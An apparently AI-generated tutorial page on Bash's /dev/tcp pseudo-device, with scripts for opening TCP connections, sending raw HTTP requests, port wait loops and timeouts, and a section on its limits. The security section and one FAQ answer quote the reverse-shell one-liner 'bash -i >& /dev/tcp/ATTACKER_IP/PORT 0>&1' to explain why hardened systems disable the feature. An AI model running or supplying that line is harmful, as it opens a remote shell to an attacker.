/dev/tcp in Bash: TCP Connections Without curl or netcat
AI generated
$_
#!/
Bash · Networking · Linux · Pseudo-Device
/dev/tcp in Bash
Open TCP connections without installing a single external tool

Bash can open TCP sockets, build HTTP requests by hand, and test ports without curl, wget, or netcat, through the built-in /dev/tcp pseudo-device. Understanding the mechanics helps you secure minimal containers and restrictive environments, but you also need to know the clear limits: no TLS, no UDP with real feedback, and no header control like a real HTTP client offers.

16 min read /dev/tcp · exec · file descriptors Bash 4.x · 5.x · Linux

1. What /dev/tcp is and how Bash wires it in

/dev/tcp is not a real path on the filesystem, it is a pseudo-device that only exists inside Bash itself. Whenever the parser encounters a redirection path starting with /dev/tcp/HOST/PORT or /dev/udp/HOST/PORT while interpreting a redirection, Bash does not touch the real filesystem at all. Instead it opens a connection to the host and port internally through the kernel's socket API and exposes the result as an ordinary file descriptor. That is also why ls /dev/tcp shows nothing, the path is intercepted purely at the syntax level by Bash.

This feature has to be enabled at compile time, which is the case in practically every mainstream distribution such as Debian, Ubuntu, Alpine's Bash package, and macOS, but is not guaranteed on every minimal or hardened build. Anyone relying on /dev/tcp in a script meant to run on unknown target systems should verify beforehand whether the feature is actually available instead of blindly assuming every Bash installation ships with it.


#!/usr/bin/env bash
set -euo pipefail

# Check whether this Bash build actually supports /dev/tcp before relying on it
if (exec 3<>/dev/tcp/127.0.0.1/1 2>/dev/null); then
  echo "/dev/tcp is supported"
else
  echo "/dev/tcp is NOT supported on this Bash build" >&2
fi

2. Opening a TCP connection with exec and file descriptors

The usual way to open a connection is exec combined with a custom file descriptor number, typically 3 or higher, since 0, 1, and 2 are reserved for standard input, output, and error. The expression exec 3<>/dev/tcp/example.com/80 opens the socket for both reading and writing on the same descriptor, which is exactly the right behavior for most request-response protocols like HTTP, since a single descriptor covers both directions.

If the connection fails, for example because the target port has no listener, exec aborts with an error message such as Connection refused on standard error and returns a non-zero exit status. It matters to actually check that status, because without set -e or an explicit check, a script simply keeps running with an invalid file descriptor after a failed connection attempt, leading to cryptic follow-up errors on every later read or write.


#!/usr/bin/env bash
set -uo pipefail

if exec 3<>/dev/tcp/example.com/80; then
  echo "Connected to example.com:80 on fd 3"
else
  echo "Connection failed" >&2
  exit 1
fi

exec 3>&-  # close the write side
exec 3<&-  # close the read side

3. Building an HTTP request by hand over /dev/tcp

Because /dev/tcp only delivers a raw byte stream, the entire HTTP protocol has to be written by hand: the request line with method, path, and protocol version, followed by the required headers, at minimum Host, since many servers respond with an error without it, and a trailing blank line, which the HTTP specification requires to mark the end of the headers. The whole request is written with printf instead of echo, because printf reliably produces the \r\n line ending HTTP mandates.

The response is then read line by line with read, or entirely with cat <&3, keeping in mind that the status line, headers, and body are separated by the same blank line as in the request. For simple purposes such as checking the HTTP status code, it is enough to read just the first line of the response and extract the code with a regular expression, rather than parsing the entire response, which keeps the script noticeably shorter and more robust.


#!/usr/bin/env bash
set -euo pipefail

readonly HOST="example.com"
readonly PORT="80"

exec 3<>/dev/tcp/"$HOST"/"$PORT"

printf 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n' "$HOST" >&3

read -r status_line <&3
echo "Status: $status_line"

# Read remaining headers until the blank line separating headers and body
while IFS= read -r header && [[ -n "${header%$'\r'}" ]]; do
  echo "Header: $header"
done <&3

exec 3>&-
exec 3<&-

4. Practical use cases: connection tests and health checks

The strongest practical benefit of /dev/tcp shows up in minimal container images that deliberately skip extra binaries like curl or netcat to keep the attack surface and image size small. In a distroless or Alpine image without those tools, Bash is often the only tool available to check whether a database, cache, or backend service is already listening on its port before the actual application process starts.

A classic pattern for this is a wait loop that repeatedly attempts to open a connection to a target port and only proceeds once the connection succeeds. Scripts like this are commonly used in Docker entrypoints or Kubernetes init containers to make sure dependent services are ready before the main application starts, replacing external wait tools like wait-for-it.sh, which would themselves depend on nc again.


#!/usr/bin/env bash
set -uo pipefail

wait_for_port() {
  local host="$1" port="$2" retries="${3:-30}"
  local i=0
  until (exec 3<>/dev/tcp/"$host"/"$port") 2>/dev/null; do
    ((i++))
    if (( i >= retries )); then
      echo "Timed out waiting for $host:$port" >&2
      return 1
    fi
    sleep 1
  done
  echo "$host:$port is reachable"
}

wait_for_port "database" 5432

5. Timeouts and error handling for /dev/tcp connections

Bash ships no built-in timeout option for /dev/tcp, because the connection attempt is ultimately an ordinary connect() system call that, depending on network conditions, can hang for a long time, for example when a firewall silently drops packets instead of actively rejecting them. Without extra safeguards, a script can therefore block for minutes until the operating system itself triggers an internal timeout, which is unacceptable for automated health checks.

The reliable fix is wrapping the whole connection attempt in a subshell and bounding it with the external timeout command, since timeout forcibly kills the process by signal once the deadline passes. It matters to distinguish three different failure modes: an immediate Connection refused on a closed port, a Name or service not known on a DNS failure, and a silent hang that only timeout reliably terminates.


#!/usr/bin/env bash
set -uo pipefail

readonly HOST="internal-service"
readonly PORT="8080"

if timeout 3 bash -c "exec 3<>/dev/tcp/$HOST/$PORT" 2>/dev/null; then
  echo "Reachable within 3 seconds"
else
  code=$?
  if (( code == 124 )); then
    echo "Timed out after 3 seconds" >&2
  else
    echo "Connection failed (exit $code)" >&2
  fi
fi

6. Limit number one: no TLS and no HTTPS

The most important limitation of /dev/tcp is that it only ever opens raw, unencrypted TCP connections. Bash has no built-in TLS stack, no certificate validation, and no way to perform a TLS handshake, because that would require a full cryptographic implementation nobody would reasonably want to build into a shell. An attempt to reach an HTTPS site directly on port 443 through /dev/tcp opens the TCP socket successfully, but returns nothing but unreadable, encrypted garbage as soon as a byte is sent or read.

Anyone who still needs encrypted communication can put openssl s_client in front as an external TLS terminator and exchange the decrypted data through it, but that gives up exactly the advantage /dev/tcp was supposed to offer in the first place: complete independence from external programs. For anything that needs real encryption, such as querying a production API, /dev/tcp is fundamentally the wrong choice, and credentials must never be sent over an unencrypted /dev/tcp connection.

7. Limit number two: /dev/udp and missing low-level control

Alongside /dev/tcp, Bash also offers /dev/udp, but because UDP is designed as a connectionless protocol, simply opening it says nothing about whether a service is even listening at the target. An exec 3<>/dev/udp/host/port practically always succeeds, regardless of whether the port is in use, because the kernel does not expect a handshake packet when opening a UDP connection. For real reachability checks, /dev/udp is therefore largely useless, unless the target protocol itself actively responds to a sent message.

Even for TCP, /dev/tcp offers no control over socket options such as keep-alive intervals, buffer sizes, or the Nagle algorithm that a real networking library would let you configure. There is no support for connection multiplexing like HTTP/2, no automatic connection reuse, and no way to manage several concurrent connections efficiently within a single Bash process, since every connection occupies its own blocking file descriptor.

8. Security considerations: /dev/tcp as a double-edged tool

The same property that makes /dev/tcp practical, namely that any Bash installation can open a network connection without any extra software, also makes it a popular building block for so-called reverse shells, where a compromised system opens an outgoing connection to an attacker. Security teams know the pattern bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 as one of the most well-known techniques out there, which is why some hardened environments deliberately compile Bash without network support or block outgoing traffic from Bash processes with an egress filter.

For production scripts, that has two consequences. First, /dev/tcp should only be used for internal, trusted connectivity checks, never to send sensitive data to external targets. Second, in security-critical environments it is worth checking whether your Bash build even supports /dev/tcp at all, since its absence can, in a monitoring context, actually be a signal of a deliberately hardened, and therefore more trustworthy, runtime environment.

9. When /dev/tcp pays off and when curl or netcat are the better choice

As a rule of thumb, /dev/tcp pays off exactly when a minimal environment has to get by without extra packages and the requirement is limited to a simple reachability check or a plain, unencrypted HTTP request. Once TLS, redirects, cookies, authentication, file uploads, or robust error handling with retry logic are needed, curl is almost always the better choice, because it already implements those cases and requires noticeably less error-prone code in your own script. Netcat, in turn, fits better for interactive sessions and arbitrary binary protocols beyond HTTP, where more control over the raw data stream is required.

Tool TLS/HTTPS Availability Typical use
/dev/tcp (Bash) No Built into Bash, no extra package Minimal containers, simple health checks
curl Yes Usually needs installing HTTP requests, APIs, redirects, auth
netcat (nc) No (native) Usually needs installing Raw binary protocols, interactive sessions
wget Yes Usually needs installing File downloads, recursion
openssl s_client Yes Usually present with openssl Manually inspecting TLS handshakes

Mironsoft

Shell automation, DevOps tooling and deployment infrastructure

Shell scripts that hold up in production?

We review existing Bash scripts, spot fragile patterns and replace them with robust Bash patterns: complete error handling, logging and safe parallelization for your deployment stack.

Code Review

ShellCheck analysis and manual review for critical Bash pattern violations.

Refactoring

Retrofitting error handling, logging and safe file operations.

CI Integration

Wiring ShellCheck and BATS into pipelines and building regression tests.

10. Summary

/dev/tcp in Bash: The Essentials at a Glance

Core idea

/dev/tcp/HOST/PORT is intercepted by Bash while parsing a redirection and opens a real TCP socket internally, with no external tool involved.

Opening a connection

exec 3<>/dev/tcp/host/port claims a free file descriptor that can be used for both reading and writing.

Biggest limit

No TLS, no HTTPS, no certificate handling. For anything encrypted, curl or openssl s_client remain the right choice.

Timeout required

Without the external timeout command, a connection attempt can hang for minutes against a firewall that silently drops packets.

11. FAQ: /dev/tcp in Bash: The Essentials at a Glance

1Is /dev/tcp available in every Bash installation?
No. The feature has to be enabled at compile time. Most mainstream distributions include it, but hardened or minimal builds can have it disabled. A quick test call before production use shows whether support is present.
2Can I fetch HTTPS pages with /dev/tcp?
Not directly. /dev/tcp only opens an unencrypted TCP connection, there is no built-in TLS stack. For HTTPS you would additionally need openssl s_client as a TLS terminator, which undoes the independence from external tools.
3Why should I use printf instead of echo for the HTTP request?
printf reliably produces the \r\n line ending HTTP requires, while echo behaves differently depending on the shell implementation and options. For protocol-compliant HTTP, printf is the more robust choice.
4How do I detect that a connection attempt failed?
exec aborts with a non-zero exit status on a failed connection attempt and writes an error message such as Connection refused to standard error. That status should always be checked explicitly.
5Why does my script sometimes hang for minutes on /dev/tcp?
If a firewall silently drops packets instead of actively rejecting them, the underlying connect() call waits for a response that never arrives. Without the external timeout command there is no built-in bound for that.
6Is /dev/udp suitable for reachability checks?
Barely. Since UDP is connectionless, opening /dev/udp succeeds almost always, regardless of whether a service is listening at the target. /dev/tcp gives a far more meaningful result for actual reachability checks.
7Why is /dev/tcp associated with reverse shells?
Because any Bash installation can open an outgoing network connection without extra software, bash -i >& /dev/tcp/ip/port 0>&1 is one of the best-known attack techniques. That is why some hardened systems deliberately disable the feature.
8Should I use /dev/tcp in production scripts?
For simple, internal reachability checks without sensitive data it is a fine fit. Once authentication, encryption, or complex error handling are needed, curl is the more robust and maintainable choice.
9How many concurrent connections can I keep open with /dev/tcp?
Technically only the number of available file descriptors limits it, but in practice the code becomes unwieldy quickly, since every connection needs its own blocking descriptor and its own error handling. For many parallel connections, a real tool is a better fit.
10Does /dev/tcp work in Zsh or other shells too?
No, /dev/tcp is a Bash-specific extension. Other shells such as Zsh, Dash, or POSIX sh do not support this pseudo-device, even though some Zsh modules recreate similar functionality through their own extensions.